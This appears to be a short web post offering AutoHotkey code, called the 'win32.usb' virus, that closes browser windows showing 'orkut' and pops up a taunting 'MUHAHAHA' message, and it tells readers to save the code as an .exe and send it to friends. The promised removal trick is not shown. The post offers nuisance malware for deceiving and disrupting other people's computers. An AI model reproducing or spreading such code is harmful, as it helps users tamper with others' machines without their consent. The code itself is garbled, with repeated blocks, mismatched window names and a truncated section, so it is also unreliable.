How to disable Orkut and Mozilla firefox?

The code for the virus win32.usb is---

ifwinactive ahk_class IFrame
{
ControlGetText,ed,edit1,ahk_class IFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED you fool`??`r`r MUHAHAHA!!,30
return
}

ControlGetText,ed,edit2,ahk_class IFrame
ifinstring,ed,orkut
{
winclose ahk_class IFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED you fool`??`r`r MUHAHAHA!!,30
return
}

ControlGetText,ed,edit2,ahk_class IFrame
ifinstring,ed,orkut
{
winclose ahk_class IFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED you fool`??`r`r MUHAHAHA!!,30
return
}

ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{.......}
}


Just copy this code into a notepad and save it with the .usb or else with .exe
use the above methods to send this virus

Your friends orkut will be banned. If you run this on your system then youll also face the same problem
As every problem has a solution, Below is the trick to disable the virus